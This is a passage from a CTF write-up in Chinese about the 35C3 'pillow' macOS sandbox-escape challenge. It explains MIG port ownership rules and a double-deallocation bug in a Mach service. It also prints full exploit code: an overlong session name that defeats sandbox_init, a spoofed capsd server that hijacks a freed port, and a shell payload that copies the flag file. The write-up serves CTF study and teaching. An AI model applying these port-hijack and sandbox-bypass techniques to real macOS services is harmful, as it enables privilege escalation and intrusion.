    void handle_process_exited(pid_t pid, CFMutableDictionaryRef session, int output_fileno) {
    int status;
    waitpid(pid, &status, 0);

    os_log(OS_LOG_DEFAULT, "shelld: child %d exited with status %d", pid, status);

    char output[4096];
    size_t nread = read(output_fileno, output, sizeof(output) - 1);
    output[nread] = 0;

    CFNumberRef value;
    if (CFDictionaryGetValueIfPresent(session, CFSTR("listener"), (const void**)&value)) {
    mach_port_t listener;
    ASSERT(CFNumberGetValue(value, kCFNumberSInt32Type, &listener));
    shelld_client_notify(listener, status, output);
    }

    close(output_fileno);
    CFRelease(session);
    }

    该函数会将子进程的 stdout 全部输出信息,读取 4096字节并将其发送给 listener port,即 client。

  6. 最后父进程注册子进程的超时处理例程,每个子进程最多运行 60s,若执行超时则会被立即 kill。

    // 设置子进程超时时间为 60s
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
    if (!running)
    return;
    os_log(OS_LOG_DEFAULT, "shelld: killing process %d due to timeout", pid);
    kill(pid, SIGKILL);
    });

d. client.c

示例代码 client 中所做的事情不多,具体说明内嵌进代码中。

kern_return_t shelld_client_notify(mach_port_t listener, int status, const char* output) {
printf("Command finished with status %d and output: %s\n", status, output);
return KERN_SUCCESS;
}

int main() {
printf("PID: %d\n", getpid());
puts("Press enter to continue...");
getchar();

// 获取 shelld 的mach port
mach_port_t bp, sp;
task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bp);
kern_return_t kr = bootstrap_look_up(bp, "net.saelo.shelld", &sp);
ASSERT_SUCCESS(kr, "bootstrap_look_up");

// 创建一对收发信息的 listener 和 listener_send_right
mach_port_t listener, listener_send_right;
mach_msg_type_name_t aquired_right;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &listener);
mach_port_extract_right(mach_task_self(), listener, MACH_MSG_TYPE_MAKE_SEND, &listener_send_right, &aquired_right);

// 在 shelld 中创建一个 session
if (shelld_create_session(sp, "foo") != KERN_SUCCESS) {
puts("Failed to create session");
exit(-1);
}
// 将 listener_send_right 注册进 session 中的 listener
register_completion_listener(sp, "foo", listener_send_right);
mach_port_deallocate(mach_task_self(), listener_send_right);

// 设置自动处理 server 端调用的 notify 接口
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, listener, 0, dispatch_get_main_queue());
dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, shelld_client_server);
});
dispatch_activate(source);

// client 连续三次向 shelld 请求执行程序
printf("%d\n", shell_exec(sp, "foo", "echo Hello World > bar"));
printf("%d\n", shell_exec(sp, "foo", "cat bar"));
printf("%d\n", shell_exec(sp, "foo", "cat bar"));

dispatch_main();
return 0;
}

运行结果:

image-20220108135403282

通过阅读上面的代码,我们可以了解到,shelld 会根据信息发送方的权限请求,动态创建一个带有沙箱的子进程。这里的权限指的是 capsd 中存储的 capabilities。

四、漏洞点

当前的 exploit 位于沙箱中,因此无法直接读取外部的 flag。我们只能通过题目提供的两个服务来尝试进行沙箱逃逸,通过观察我们可以发现,shelld 中有个 shell_exec 函数可以执行一个新的程序,或许可以尝试让 shelld 启动一个子进程来读取 flag。但这里存在一些条件:

  1. shell_exec 中会先判断权限(即 capabilities),没有 "process-exec* "/bin/bash" 沙箱权限的请求者将无法让 shelld 启动新进程。很明显 Exploit 位于沙箱之中,沙箱规则没有提供这个权限,无法直接通过这个 check。
  2. 即便绕过了先前的权限判断,但 shell_exec 启动的子进程还会执行 sandbox_init 函数进入沙箱。一旦子进程进入沙箱,则子进程将无权读取 flag。

我们先从简单的入手。

1. sandbox_init 沙箱函数绕过

shell_exec 启动的子进程会执行 sandbox_init 函数,倘若该函数执行成功,那么子进程就无法读取到 flag。

那么,如何让 sandbox_init 函数执行失败呢?注意 sb_profile_template 字符串:

const char* sb_profile_template =   "(version 1)\n"
"(deny default)\n"
"(import \"system.sb\")\n"
"(allow process-fork)\n"
"(allow file-read* file-write* (subpath \"/private/tmp/shelld/%s\"))\n"
"(allow file-read-data file-write-data (subpath \"/dev/tty\"))\n"
"(allow file-read* process-exec (subpath \"/bin/\"))\n"
"(allow file-read* process-exec (subpath \"/usr/bin/\"))\n"
"(allow file-read* process-exec (subpath \"/usr/sbin/\"))\n";

根据我的测试,scheme in AppSandboxProfile 的字符串长度不得超过 1023 字节。如果超过则 scheme profile 将解析出错,sandbox_init 函数直接返回,不会进入沙箱

以下是测试结果:

image-20220108161115411

因此,我们可以通过传入超长 session name 来绕过子进程的 sandbox 初始化操作,就像下面这个 client:

#include <bootstrap.h>
#include <mig/shelld.h>
#include <mig/shelld_client.h>

#include <common/utils.h>
#include <common/decls.h>

boolean_t shelld_client_server(
mach_msg_header_t *InHeadP,
mach_msg_header_t *OutHeadP);


kern_return_t shelld_client_notify(mach_port_t listener, int status, const char* output) {
printf("Command finished with status %d and output: %s\n", status, output);
return KERN_SUCCESS;
}

// ./client `python -c "print('a'*3)"`
int main(int argc, char* argv[]) {
char* session_name = argv[1];
printf("session_name: %s\n", session_name);

mach_port_t bp, sp;
task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bp);
kern_return_t kr = bootstrap_look_up(bp, "net.saelo.shelld", &sp);
ASSERT_SUCCESS(kr, "bootstrap_look_up");

mach_port_t listener, listener_send_right;
mach_msg_type_name_t aquired_right;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &listener);
mach_port_extract_right(mach_task_self(), listener, MACH_MSG_TYPE_MAKE_SEND, &listener_send_right, &aquired_right);

shelld_create_session(sp, session_name);

register_completion_listener(sp, session_name, listener_send_right);
mach_port_deallocate(mach_task_self(), listener_send_right);

dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, listener, 0, dispatch_get_main_queue());
dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, shelld_client_server);
});
dispatch_activate(source);

// 测试基本功能
printf("%d\n", shell_exec(sp, session_name, "echo 'Hello World'"));
// 尝试读取沙箱外部数据
printf("%d\n", shell_exec(sp, session_name, "cat /Users/kiprey/Desktop/CTF/35c3ctf/pillow/flag"));

dispatch_main();
return 0;
}

运行结果如下:

image-20220108212040495

可以看到当传入的 session name 超级长的时候,即可超过沙箱函数,读取到沙箱外部文件。

该问题成功解决。

2. Capabilities 权限检测绕过

这里算是整个题目的重点,稍微有点复杂。

a. 提出的设想

接下来我们需要绕过 sandbox_check_with_capabilities 检查。再贴一下它的代码:

int sandbox_check_with_capabilities(audit_token_t creds, const char* operation, int flags, const char* arg) {
int result = sandbox_check_by_audit_token(creds, operation, flags, arg);
if (result != 1) {
return result;
}

int client_has_capability = 0;
pid_t pid = audit_token_to_pid(creds);
has_capability(capsd_service_port, pid, operation, arg, &client_has_capability);

return !client_has_capability;
}

很明显,作为位于沙箱中的发送方,exploit 肯定没有权限执行 /bin/bash,因此 sandbox_check_by_audit_token 无论如何一定会返回 1。因此 shelld 将会向 capsd 进行第二次查询。

如果 capsd 中可以返回一个 has capability 的结果给 shelld,那么 exploit 就可以通过 sandbox check,从而 get flag。但正常情况下 exploit 无法通过 capsd 里 grand_capability 方法中的 sand_check_* 函数,因此 capsd 将不会返回一个我们所期望的结果给 shelld。

如果我们能劫持这个 capsd_service_port ,自己伪造一个 “capsd” 向 shelld 发送伪造结果,那么就可以通过 shelld 的 sandbox check,进而 get flag。

那该如何伪造呢?这就涉及 MIG 所有权规则(MIG ownership rule)

b. MIG 所有权规则

这里的所有权,指的是调用者参数形式 传给 MIG 例程的 mach port的所有权。

之前在学习 Mach IPC 时,我们只是简单的了解了 MIG 传递基础类型的例子,并没有思考过传递复杂类型参数时的一些细节。

现在仔细想想,对于调用者传递一个 mach port 给 server 的情况,这个 mach port 的生命周期该如何管理呢?

这里,我们将以 shelld 中的 register_completion_listener 函数来作为一个例子,因为只有该函数会接收一个 mach port 类型的参数。

1) shelld_server

初始时,shelld 会指定 shell_server 函数来处理所有传入的 mach message。而 MIG shelld_server 函数的功能相当简单:做一些基础检查工作,之后根据接收到的 mach message 中的 msgh_id 字段,来动态选择调用哪个 routine 例程:

之前曾提到过,每个 mach message header 中有个字段 msgh_id,这个是可供用户自己使用的一个字段, MIG 使用该字段来区分client 想调用哪个 server 接口。

// shelldServer.c
mig_external boolean_t shelld_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
register mig_routine_t routine;
// 初始化待返回给 client 的 mach message 相关字段
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* Minimal size: routine() will update it if different */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
// 判断 msg_id 是否有效,如果有效,则设置 msg_id 对应的 MIG 接口处理例程至 routine 函数指针中
if ((InHeadP->msgh_id > 133703) || (InHeadP->msgh_id < 133700) ||
((routine = shelld_subsystem.routine[InHeadP->msgh_id - 133700].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
return FALSE;
}
// 最后调用该 MIG 接口处理例程
(*routine) (InHeadP, OutHeadP);
return TRUE;
}

需要注意的是,shell_server 在 MIG 功能正常的情况下,将会始终返回 TRUE

同时我们也可以看到,返回给 client 的信息并非 COMPLEX

注意给 OutHeadP 设置 msgh_bits 时没有指定 COMPLEX flag。

2) _Xregister_completion_listener

当 Client 需要调用 register_completion_listener 函数时,shelld_server 会对应的调用到该函数的 routine 函数,即 _Xregister_completion_listener

/* Routine register_completion_listener */
mig_internal novalue _Xregister_completion_listener
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
[...]
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t listener;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t sessionOffset; /* MiG doesn't use it */
mach_msg_type_number_t sessionCnt;
char session[4096];
mach_msg_max_trailer_t trailer;
} Request __attribute__((unused));
[...]
typedef __Request__register_completion_listener_t __Request;
typedef __Reply__register_completion_listener_t Reply __attribute__((unused));


Request *In0P = (Request *) InHeadP;
Reply *OutP = (Reply *) OutHeadP;
mach_msg_max_trailer_t *TrailerP;
[...]
OutP->RetCode = register_completion_listener(In0P->Head.msgh_request_port, In0P->session, In0P->listener.name, TrailerP->msgh_audit);

[...]
}

可以看到,Client 传递 mach port 给 server 时,是通过 mach_msg_port_descriptor_t来传递的。并且在下面调用了最终服务器所实现的那个接口,并将返回值(KERN_* 类型)存入 RetCode 字段中。

以下是返回的 mach msg 结构体,可以看到这个字段是为数不多会向上层传递的值:

typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__unregister_completion_listener_t __attribute__((unused));

那么这个 RetCode 在哪里使用呢?换句话说 server 实现的接口所返回的 KERN_* 返回值,对 server 所接收到的 listener mach port 的生命周期有影响么?

还真有影响。

3) libdispatch

我们再来看看 libdispatch 是如何处理 client 传来的 mach message 的。

对于 shelld 来说,可以看到它指定 libdispatch 调用 dispatch_mig_server 函数来处理 mach message。

dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, service_port, 0, dispatch_get_main_queue());

dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, shelld_server);
});

dispatch_resume(source);
dispatch_main();

那我们就来简单了解一下 dispatch_mig_server 这个函数,以下是该函数核心源代码,代码经过省略并添加大量说明文字:

libdispatch 源码可以到 apple opensource libdispatch src 获取。

mach_msg_return_t
dispatch_mig_server(dispatch_source_t ds, size_t maxmsgsz,
dispatch_mig_callback_t callback)
{
[...]
uint32_t cnt = 1000; // do not stall out serial queues
boolean_t demux_success;
bool received = false;
[...]

tmp_options = options;
// XXX FIXME -- change this to not starve out the target queue
// 尝试 cnt 次从消息队列中读取数据的操作
for (;;) {
// 如果循环经历了 cnt 次,或者等待队列为空
if (DISPATCH_QUEUE_IS_SUSPENDED(ds) || (--cnt == 0)) {
// 则在接下来的函数执行过程中,不再接收 mach message
options &= ~MACH_RCV_MSG;
tmp_options &= ~MACH_RCV_MSG;
// 如果此时没有需要发送的数据,即这次是要继续尝试接收 message ,则直接返回
if (!(tmp_options & MACH_SEND_MSG)) {
goto out;
}
}
// 此时 mach_msg 可能会接收或发送消息。循环第一次为RCV,第二次为SEND+RCV,第三次为SEND+RCV,最后一次为RCV,以此类推。
kr = mach_msg(&bufReply->Head, tmp_options, bufReply->Head.msgh_size,
(mach_msg_size_t)rcv_size, (mach_port_t)dr->du_ident, 0, 0);
// 重置临时设置
tmp_options = options;
// mach_msg 错误处理,这里无需关注
if (unlikely(kr)) {
[...]
goto out;
}
// 如果接下来不再需要接收消息,则直接返回
if (!(tmp_options & MACH_RCV_MSG)) {
goto out;
}

[...]
// 走到这里则说明这一轮的循环 接收了一个 mach message(有没有在接收的时候顺带发了个msg,这里不管)
received = true;

// bufRequest 和 bufReply 进行交换
bufTemp = bufRequest;
bufRequest = bufReply;
bufReply = bufTemp;
// 此时接收到的 Mach msg 位于 bufRequest

[...]

_voucher_replace(voucher_create_with_mach_msg(&bufRequest->Head));
bufReply->Head = (mach_msg_header_t){ };
// 将接收到的信息调用 callback 处理,这里的 callback 是其他程序为 dispatch_mig_server 函数指定的一个 MIG 处理例程
// 在 shelld 中,这个 callback 为 shelld_server
demux_success = callback(&bufRequest->Head, &bufReply->Head);

// 如果传入的 MIG Message 的 msgh_id 错误,导致 callback 失败
if (!demux_success) {
// destroy the request - but not the reply port
bufRequest->Head.msgh_remote_port = 0;
mach_msg_destroy(&bufRequest->Head);
// 如果 callback 成功,并且需要返回的信息并非复杂信息
} else if (!(bufReply->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX)) {
// if MACH_MSGH_BITS_COMPLEX is _not_ set, then bufReply->RetCode
// is present
// 如果调用 server 的接口失败,即该接口返回的值不为 KERN_SUCCESS
if (unlikely(bufReply->RetCode)) {
[...]

// destroy the request - but not the reply port
bufRequest->Head.msgh_remote_port = 0;
// 将会析构掉发来的 mach message
mach_msg_destroy(&bufRequest->Head);
}
}
// 如果需要回复信息,则设置 SEND flag,一会将跳转至循环头部执行 mach_msg(RCV|SEND)
if (bufReply->Head.msgh_remote_port) {
tmp_options |= MACH_SEND_MSG;
if (MACH_MSGH_BITS_REMOTE(bufReply->Head.msgh_bits) !=
MACH_MSG_TYPE_MOVE_SEND_ONCE) {
tmp_options |= MACH_SEND_TIMEOUT;
}
}
}
[...]

return kr;
}

注意到这个片段:

// 在 shelld 中,这个 callback 为 shelld_server
demux_success = callback(&bufRequest->Head, &bufReply->Head);

// 如果传入的 MIG Message 的 msgh_id 错误,导致 callback 失败
if (!demux_success) {
[...]
// 如果 callback 成功,并且需要返回的信息并非复杂信息
} else if (!(bufReply->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX)) {
// if MACH_MSGH_BITS_COMPLEX is _not_ set, then bufReply->RetCode
// is present
// 如果调用 server 的接口失败,即该接口返回的值不为 KERN_SUCCESS
if (unlikely(bufReply->RetCode)) {
[...]

// destroy the request - but not the reply port
bufRequest->Head.msgh_remote_port = 0;
// 将会析构掉发来的 mach message
mach_msg_destroy(&bufRequest->Head);
}
}

其中, callback 为之前 shelld 所指定的 shelld_server,几乎不可能返回 FALSE,同时待回复的 mach message 不为 COMPLEX,因此接下来的第一个 if 判断将不成立,进入第二个 if 分支中。

在这个 if 分支中,dispatch_mig_server 将对调用结果 RetCode 进行判断:如果调用失败,则调用 mach_msg_destroy 将 Request message 析构

而在 mach_msg_destroy 的 XNU 实现中,注意到它会析构掉所传入 mach msg 中的 MACH_MSG_PORT_DESCRIPTOR,而这里存放的是先前 client 传来的 listerner mach port

void
mach_msg_destroy(mach_msg_header_t *msg)
{
mach_msg_bits_t mbits = msg->msgh_bits;

/*
* The msgh_local_port field doesn't hold a port right.
* The receive operation consumes the destination port right.
*/

mach_msg_destroy_port(msg->msgh_remote_port, MACH_MSGH_BITS_REMOTE(mbits));
mach_msg_destroy_port(msg->msgh_voucher_port, MACH_MSGH_BITS_VOUCHER(mbits));

if (mbits & MACH_MSGH_BITS_COMPLEX) {
mach_msg_base_t *base;
mach_msg_type_number_t count, i;
mach_msg_descriptor_t *daddr;

base = (mach_msg_base_t *) msg;
count = base->body.msgh_descriptor_count;

daddr = (mach_msg_descriptor_t *) (base + 1);
for (i = 0; i < count; i++) {
switch (daddr->type.type) {
case MACH_MSG_PORT_DESCRIPTOR: {
// 如果传入的 mach msg 中 description 类型为 PORT,则调用 mach_msg_destroy_port 将其释放
mach_msg_port_descriptor_t *dsc;

/*
* Destroy port rights carried in the message
*/
dsc = &daddr->port;
// 而 mach_msg_destroy_port 函数均会调用 mach_port_deallocate 释放该 port
mach_msg_destroy_port(dsc->name, dsc->disposition);
daddr = (mach_msg_descriptor_t *)(dsc + 1);
break;
}
[...]
}
}
}
}

这意味着:若 Server 所实现接口不返回 KERN_SUCCESS 时,libdispatch 将自动释放 client 传给 server 的 listener (mach port)。

即:如果 MIG 调用 返回成功代码,则意味着该方法获得了消息中包含的所有 mach port right 的所有权;如果 MIG 调用 返回失败代码,则意味着该方法对消息中包含的 mach port right 不具有任何所有权,此时消息中包含的 mach port right 将会静默被 MIG 析构。

4) mach_msg_server*

除了 libdispatch 以外,其他用于 MIG 的 mach_msg_servermach_msg_server_once 函数同样遵循该规则:

mach_msg_return_t
mach_msg_server(
boolean_t (*demux)(mach_msg_header_t *, mach_msg_header_t *),
mach_msg_size_t max_size,
mach_port_t rcv_name,
mach_msg_options_t options)
{
[...]

for (;;) {
[...]

// 获取发来的信息
mr = mach_msg(&bufRequest->Head, MACH_RCV_MSG|MACH_RCV_VOUCHER|options,
0, request_size, rcv_name,
MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

while (mr == MACH_MSG_SUCCESS) {
/* we have another request message */

buffers_swapped = FALSE;
old_state = voucher_mach_msg_adopt(&bufRequest->Head);

// 调用 MIG server
(void) (*demux)(&bufRequest->Head, &bufReply->Head);

// 如果返回的 mach msg 不为 COMPLEX
if (!(bufReply->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX)) {
if (bufReply->RetCode == MIG_NO_REPLY)
bufReply->Head.msgh_remote_port = MACH_PORT_NULL;
// 并且 MIG 调用存在错误,同时 Client 传来的消息是 COMPLEX
else if ((bufReply->RetCode != KERN_SUCCESS) &&
(bufRequest->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX)) {
/* destroy the request - but not the reply port */
bufRequest->Head.msgh_remote_port = MACH_PORT_NULL;
// 调用 mach_msg_destroy 将其析构
mach_msg_destroy(&bufRequest->Head);
}
}

[...]

} /* while (mr == MACH_MSG_SUCCESS) */

[...]

break;

} /* for(;;) */

(void)vm_deallocate(self,
(vm_address_t) bufRequest,
request_alloc);
(void)vm_deallocate(self,
(vm_address_t) bufReply,
reply_alloc);
return mr;
}

c. 存在的问题

那么现在回到 register_completion_listern 函数中,我们再来看看哪里不对劲:

kern_return_t register_completion_listener(mach_port_t server, const char* session_name, mach_port_t listener, audit_token_t client) {
CFMutableDictionaryRef session = lookup_session(session_name, client);
if (!session) {
mach_port_deallocate(mach_task_self(), listener);
return KERN_FAILURE;
}

CFNumberRef value = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &listener);
CFDictionaryAddValue(session, CFSTR("listener"), value);
CFRelease(value);

return KERN_SUCCESS;
}

很明显,既然该函数要在查询不到 session 时返回 KERN_FAILUE,那么就不应该对 listerner 这个 mach port 进行 deallocation 操作,这将使得该 mach port 被 deallocate 两次,一次是该函数中,另一次是在 MIG 其他处理过程中。

d. 接管 capsd_service_port

根据上面的内容我们可以了解到,register_completion_listener 函数可能会导致对某个 mach port 的 double deallocation。

而又因为 mach port 是引用计数的,因此我们可以将 capsd_service_port 传给该函数,利用该函数的漏洞点,尝试二次释放掉 capsd_service_port。因为此时的 capsd_service_port 的引用计数为 2,二次释放将使得该 mach port 的引用计数归 0,导致该 mach port name 在当前 task 中被彻底释放。这样,该 mach port name 可被下一次创建的 mach port 所重用。

shelld 中, capsd_service_port 的引用计数在执行 register_completion_listener(..., capsd_service_port),之所以为 2,是因为:

  1. shelld 在 main 函数中执行 bootstrap_look_up,已经获取了一次 capsd_service_port 的 right
  2. 执行 register_completion_listener 时,client 将再发送一次 capsd_service_port 给 server

故 server 将在两个不同的地方持有相同的 port,引用计数为2。

因此,我们便可以尝试 劫持/接管 这个被释放掉的 mach port name,对 shelld 伪造一个 “capsd”,在 shelld 进行权限查询时返回错误结果,绕过 sandbox capability check。

花了点时间写了下利用,以下代码成功突破 shelld 的 sandbox capabilities check:

#include <bootstrap.h>
#include <stdlib.h>

#include "../mig/shelld.h"
#include "../common/utils.h"
#include "../common/decls.h"

// 伪造 capsd 必备函数
boolean_t capsd_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);

kern_return_t grant_capability(mach_port_t server, audit_token_t token, pid_t target, const char* op, const char* arg) {
return KERN_SUCCESS;
}

kern_return_t has_capability(mach_port_t server, pid_t pid, const char* op, const char* arg, int* out) {
*out = 1;
return KERN_SUCCESS;
}

int main(int argc, char* argv[]) {
// 获取 bootstrap port、 shelld port 和 capsd port
mach_port_t bp, sp, cp;
task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bp);
kern_return_t kr = bootstrap_look_up(bp, "net.saelo.shelld", &sp);
ASSERT_SUCCESS(kr, "shelld bootstrap_look_up");
kr = bootstrap_look_up(bp, "net.saelo.capsd", &cp);
ASSERT_SUCCESS(kr, "capsd bootstrap_look_up");

// 先提前准备好一个可用的 session
shelld_create_session(sp, "session");

// 简单测试一下,肯定无法通过 capability 检测,因为 exp 没有 /bin/bash 的启动权限
kr = shell_exec(sp, "session", "echo 'Hello World'");
if(kr != KERN_SUCCESS)
printf("[*] shell_exec faild before attack.\n");

// 尝试将 shelld 中的 capsd_service_port 释放
register_completion_listener(sp, "non-exist-session", cp);

// 创建一对新的 listener 和 listener_send_right
mach_port_t listener, listener_send_right;
mach_msg_type_name_t aquired_right;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &listener);
mach_port_extract_right(mach_task_self(), listener, MACH_MSG_TYPE_MAKE_SEND, &listener_send_right, &aquired_right);

/* 启动一个 伪capsd_server
需要注意的是,这里必须创建新的 dispatch queue 给 listener,
因为 main queue 需要调用 dispatch_main 才能使用,但我们仍然需要使用控制流,因此不能调用 dispatch_main */
dispatch_queue_main_t replyQueue = dispatch_queue_create("replyQueue", NULL);
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, listener, 0, replyQueue);
dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, capsd_server);
});
dispatch_resume(source);

// 尝试绕过 sandbox capabilities check
for(size_t cnt = 0; cnt < 10000; ++cnt) {
register_completion_listener(sp, "session", listener_send_right);
// 测试基本功能
kr = shell_exec(sp, "session", "echo 'Hello World'");
if(kr == KERN_SUCCESS) {
printf("[+] shell_exec success! test %zu times.\n", cnt);
break;
}
// 如果无法使用,则将该 listener 从 shelld 中删除
unregister_completion_listener(sp, "session");
}

exit(EXIT_FAILURE);
}

运行效果如下,可以看到成功通过 capabilities check:

image-20220108224804659

需要注意的是,调试时,最好每次都重启一下 shelld,防止其内部旧数据影响调试。

五、漏洞利用

综合上面的内容,我们最终可以拼接出一个完整 exploit:

#include <bootstrap.h>
#include <stdlib.h>

#include "../mig/shelld.h"
#include "../common/utils.h"
#include "../common/decls.h"

// 伪造 capsd 必备函数
boolean_t capsd_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);

kern_return_t grant_capability(mach_port_t server, audit_token_t token, pid_t target, const char* op, const char* arg) {
return KERN_SUCCESS;
}

kern_return_t has_capability(mach_port_t server, pid_t pid, const char* op, const char* arg, int* out) {
*out = 1;
return KERN_SUCCESS;
}

int main(int argc, char* argv[]) {
// 获取 bootstrap port、 shelld port 和 capsd port
mach_port_t bp, sp, cp;
task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bp);
kern_return_t kr = bootstrap_look_up(bp, "net.saelo.shelld", &sp);
ASSERT_SUCCESS(kr, "shelld bootstrap_look_up");
kr = bootstrap_look_up(bp, "net.saelo.capsd", &cp);
ASSERT_SUCCESS(kr, "capsd bootstrap_look_up");

// 先提前准备好一个可用的 session
char long_session_name[4096];
memset(long_session_name, 'a', sizeof(long_session_name) - 1);
long_session_name[sizeof(long_session_name) -1] = 0;
shelld_create_session(sp, long_session_name);

// 尝试将 shelld 中的 capsd_service_port 释放
register_completion_listener(sp, "non-exist-session", cp);

// 创建一对新的 listener 和 listener_send_right
mach_port_t listener, listener_send_right;
mach_msg_type_name_t aquired_right;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &listener);
mach_port_extract_right(mach_task_self(), listener, MACH_MSG_TYPE_MAKE_SEND, &listener_send_right, &aquired_right);

/* 启动一个 伪capsd_server
需要注意的是,这里必须创建新的 dispatch queue 给 listener,
因为 main queue 需要调用 dispatch_main 才能使用,但我们仍然需要使用控制流,因此不能调用 dispatch_main */
dispatch_queue_main_t replyQueue = dispatch_queue_create("replyQueue", NULL);
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, listener, 0, replyQueue);
dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, capsd_server);
});
dispatch_resume(source);

// 尝试绕过 sandbox capabilities check
for(size_t cnt = 0; cnt < 10000; ++cnt) {
register_completion_listener(sp, long_session_name, listener_send_right);
// 测试基本功能
const char *payload =
"chmod 777 /Users/kiprey/Desktop/CTF/35c3ctf/pillow/flag "
"&& cp /Users/kiprey/Desktop/CTF/35c3ctf/pillow/flag /tmp/pillow_flag "
"&& open -a TextEdit /tmp/pillow_flag";
kr = shell_exec(sp, long_session_name, payload);
if(kr == KERN_SUCCESS) {
printf("[+] shell_exec success! test %zu times.\n", cnt);

exit(EXIT_SUCCESS);
}
// 如果无法使用,则将该 listener 从 shelld 中删除
unregister_completion_listener(sp, long_session_name);
}

exit(EXIT_FAILURE);
}

编译参数:

CC = clang
myexploit: myexploit.c
$(CC) -g -O0 myexploit.c ../mig/shelldUser.c ../mig/capsdServer.c -o myexploit

在沙箱中执行 exploit:

#!/bin/bash
make
sandbox-exec -f exploit.sb -D EXPLOIT_BIN=/Users/kiprey/Desktop/CTF/35c3ctf/pillow/exploit/myexploit ./myexploit

运行结果:

image-20220108232108975

调试 exp 时,最好每次在执行 exp 前都重启一下 shelld。

六、参考链接


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK